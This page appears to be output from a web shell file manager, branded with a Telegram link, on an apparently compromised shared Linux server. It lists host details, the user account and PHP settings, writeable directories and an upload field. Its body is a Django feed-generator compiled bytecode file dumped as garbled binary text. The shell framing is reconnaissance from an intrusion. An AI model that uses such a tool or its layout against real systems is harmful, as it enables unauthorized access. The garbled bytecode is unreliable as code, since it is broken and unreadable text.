https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/django/utils/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/django/utils/__pycache__/feedgenerator.cpython-310.pyc
o

3�a;�@s�dZddlZddlZddlmZddlmZddlmZddl	m
Z
ddlmZdd	�Z
d
d�Zdd
�ZGdd�d�ZGdd�d�ZGdd�de�ZGdd�de�ZGdd�de�ZGdd�de�ZeZdS)a�
Syndication feed generation library -- used for generating RSS, etc.

Sample usage:

>>> from django.utils import feedgenerator
>>> feed = feedgenerator.Rss201rev2Feed(
...     title="Poynter E-Media Tidbits",
...     link="http://www.poynter.org/column.asp?id=31",
...     description="A group Weblog by the sharpest minds in online media/journalism/publishing.",
...     language="en",
... )
>>> feed.add_item(
...     title="Hello",
...     link="http://www.holovaty.com/test/",
...     description="Testing."
... )
>>> with open('test.rss', 'w') as fp:
...     feed.write(fp, 'utf-8')

For definitions of the different versions of RSS, see:
https://web.archive.org/web/20110718035220/http://diveintomark.org/archives/2004/02/04/incompatible-rss
�N)�StringIO)�urlparse)�
iri_to_uri)�utc)�SimplerXMLGeneratorcCs*t|tj�stj�|t���}tj�|�S�N)�
isinstance�datetime�combine�time�email�utils�format_datetime��date�r�</usr/lib/python3/dist-packages/django/utils/feedgenerator.py�rfc2822_date"srcCs<t|tj�stj�|t���}|��|��durdSdS)N�Z�)rr	r
r�	isoformat�	utcoffsetrrrr�rfc3339_date(srcCs8t|�}d}|durd|�d�}d|j||j|jfS)z�
    Create a TagURI.

    See https://web.archive.org/web/20110514113830/http://diveintomark.org/archives/2004/05/28/howto-atom-id
    rNz,%sz%Y-%m-%dztag:%s%s:%s/%s)r�strftime�hostname�path�fragment)�urlr�bits�drrr�get_tag_uri.s
r c@sreZdZdZ			ddd�Z				ddd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�SyndicationFeedzGBase class for all syndication feeds. Subclasses should provide write()NcKs~dd�}|	odd�|	D�}	||�t|�||�||�||�||�t|�||�|	p(dt|
�||�|p1|||
�d�
|�|_g|_dS)NcS�|durt|�S|Sr��str��srrr�to_str@�z(SyndicationFeed.__init__.<locals>.to_strcSsg|]}t|��qSrr#��.0�crrr�
<listcomp>B�z,SyndicationFeed.__init__.<locals>.<listcomp>r)
�title�link�description�language�author_email�author_name�author_link�subtitle�
categories�feed_url�feed_copyright�id�ttl)r�feed�items)�selfr.r/r0r1r2r3r4r5r6r7r8�	feed_guidr:�kwargsr'rrr�__init__=s&��
zSyndicationFeed.__init__rcs�dd��|o�fdd�|D�}|j��|�t|��|��|��|�t|�||�|��|	�|
|p0d|p3d�|��|
�d�|��dS)z�
        Add an item to the feed. All args are expected to be strings except
        pubdate and updateddate, which are datetime.datetime objects, and
        enclosures, which is an iterable of instances of the Enclosure class.
        cSr"rr#r%rrrr'^r(z(SyndicationFeed.add_item.<locals>.to_strcsg|]}�|��qSrrr)�r'rrr,`r-z,SyndicationFeed.add_item.<locals>.<listcomp>r)r.r/r0r2r3r4�pubdate�updateddate�comments�	unique_id�unique_id_is_permalink�
enclosuresr6�item_copyrightr:N)r<�appendr)r=r.r/r0r2r3r4rBrDrErFr6rHr:rCrGr?rrAr�add_itemUs*	�
�zSyndicationFeed.add_itemcCs
t|j�Sr)�lenr<�r=rrr�	num_itemsts
zSyndicationFeed.num_itemscC�iS)zx
        Return extra attributes to place on the root (i.e. feed/channel) element.
        Called from write().
        rrLrrr�root_attributesw�zSyndicationFeed.root_attributescC�dS)zd
        Add elements in the root (i.e. feed/channel) element. Called
        from write().
        Nr�r=�handlerrrr�add_root_elements~rPz!SyndicationFeed.add_root_elementscCrN)zZ
        Return extra attributes to place on each item (i.e. item/entry) element.
        r)r=�itemrrr�item_attributes��zSyndicationFeed.item_attributescCrQ)zF
        Add elements on each item (i.e. item/entry) element.
        Nr�r=rSrUrrr�add_item_elements�rWz!SyndicationFeed.add_item_elementscCstd��)z�
        Output the feed in the given encoding to outfile, which is a file-like
        object. Subclasses should override this.
        z;subclasses of SyndicationFeed must provide a write() method)�NotImplementedError)r=�outfile�encodingrrr�write�szSyndicationFeed.writecCst�}|�||�|��S)zD
        Return the feed in the given encoding as a string.
        )rr]�getvalue)r=r\r&rrr�writeString�szSyndicationFeed.writeStringcCsVd}d}|jD]}|D]}|�|�}|r|dus||kr|}qq|p*tj��jtd�S)z�
        Return the latest item's pubdate or updateddate. If no items
        have either of these attributes this return the current UTC date/time.
        N)rCrB)�tzinfo)r<�getr	�utcnow�replacer)r=�latest_date�	date_keysrU�date_key�	item_daterrr�latest_post_date�s

��z SyndicationFeed.latest_post_date)
NNNNNNNNNN)NNNNNNNrNNNN)�__name__�
__module__�__qualname__�__doc__r@rJrMrOrTrVrYr]r_rhrrrrr!;s&
�
�r!c@�eZdZdZdd�ZdS)�	EnclosurezAn RSS enclosurecCs|||_|_t|�|_dS)z#All args are expected to be stringsN)�length�	mime_typerr)r=rrorprrrr@�szEnclosure.__init__N)rirjrkrlr@rrrrrn�srnc@s8eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�ZdS)
�RssFeedz"application/rss+xml; charset=utf-8cCs^t||�}|��|�d|���|�d|���|�|�|�|�|�|�|�d�dS)N�rss�channel)	r�
startDocument�startElement�rss_attributesrOrT�write_items�endChannelElement�
endElement�r=r[r\rSrrrr]�s



z
RssFeed.writecCs|jdd�S)N�http://www.w3.org/2005/Atom)�versionz
xmlns:atom)�_versionrLrrrrv�s�zRssFeed.rss_attributescC�8|jD]}|�d|�|��|�||�|�d�qdS)NrU�r<rurVrYryrXrrrrw��

�zRssFeed.write_itemscCs�|�d|jd�|�d|jd�|�d|jd�|jddur/|�ddd|jdd��|jddur?|�d|jd�|jd	D]}|�d
|�qD|jddur]|�d|jd�|�d
t|����|jddury|�d|jd�dSdS)Nr.r/r0r7z	atom:linkr=��rel�hrefr1r6�categoryr8�	copyright�
lastBuildDater:)�addQuickElementr;rrh�r=rS�catrrrrT�s�zRssFeed.add_root_elementscCs|�d�dS)Nrs)ryrRrrrrx�szRssFeed.endChannelElementN)	rirjrk�content_typer]rvrwrTrxrrrrrq�s
rqc@rm)�RssUserland091Feedz0.91cCsD|�d|d�|�d|d�|ddur |�d|d�dSdS)Nr.r/r0)r�rXrrrrY�s
�z$RssUserland091Feed.add_item_elementsN�rirjrkr}rYrrrrr��sr�c@rm)�Rss201rev2Feedz2.0cCs�|�d|d�|�d|d�|ddur|�d|d�|dr5|dr5|�dd|d|df�n|drB|�d|d�n|drQ|�d|dd	d
i�|ddura|�dt|d��|d
duro|�d
|d
�|ddur�i}t|�d�t�r�t|d���|d<|�d|d|�|ddur�|�d|d�|dr�t|d�}t|�dkr�t	d��|d}|�dd|j
|j|jd��|dD]}|�d|�q�dS)Nr.r/r0r3r2�authorz%s (%s)z
dc:creatorzxmlns:dcz http://purl.org/dc/elements/1.1/rB�pubDaterDrErF�isPermaLink�guidr:rG�zrRSS feed items may only have one enclosure, see http://www.rssboard.org/rss-profile#element-channel-item-enclosurer�	enclosurer)rro�typer6r�)
r�rrra�boolr$�lower�listrK�
ValueErrorrrorp)r=rSrU�
guid_attrsrGr�r�rrrrY�sL����z Rss201rev2Feed.add_item_elementsNr�rrrrr��sr�c@s<eZdZdZdZdd�Zdd�Zdd�Zd	d
�Zdd�Z	d
S)�	Atom1Feedz#application/atom+xml; charset=utf-8r{cCsDt||�}|��|�d|���|�|�|�|�|�d�dS)Nr;)rrtrurOrTrwryrzrrrr]+s


zAtom1Feed.writecCs*|jddur|j|jdd�Sd|jiS)Nr1)�xmlnszxml:langr�)r;�nsrLrrrrO3s
zAtom1Feed.root_attributescCsZ|�d|jd�|�ddd|jdd��|jddur*|�ddd|jdd��|�d|jd�|�d	t|����|jd
durx|�di�|�d|jd
�|jd
durc|�d|jd
�|jddurs|�d|jd�|�d�|jddur�|�d|jd�|jdD]}|�ddd|i�q�|jddur�|�d|jd�dSdS)Nr.r/r�	alternater�r7r=r9�updatedr3r��namer2rr4�urir5r6r��termr8�rights)r�r;rrhruryr�rrrrT9s*
�zAtom1Feed.add_root_elementscCr~)N�entryrrXrrrrwOr�zAtom1Feed.write_itemsc
Cs�|�d|d�|�dd|ddd��|ddur$|�dt|d��|ddur4|�d	t|d��|d
duri|�di�|�d|d
�|d
durV|�d|d
�|ddurd|�d|d�|�d�|ddurt|d}n	t|d|d�}|�d|�|ddur�|�d|dddi�|dD]}|�ddd|j|j|jd��q�|dD]}|�ddd|i�q�|ddur�|�d|d�dSdS)Nr.r/rr�)r�r�rB�	publishedrCr�r3r�r�r2rr4r�rEr9r0�summaryr��htmlrGr�)r�r�ror�r6r�r�rHr�)r�rruryr rrorp)r=rSrUrEr�r�rrrrYUs@


��zAtom1Feed.add_item_elementsN)
rirjrkr�r�r]rOrTrwrYrrrrr�&sr�)rlr	r�ior�urllib.parser�django.utils.encodingr�django.utils.timezoner�django.utils.xmlutilsrrrr r!rnrqr�r�r��DefaultFeedrrrr�<module>s$
x-
4b

https://t.me/RX1948 - 2025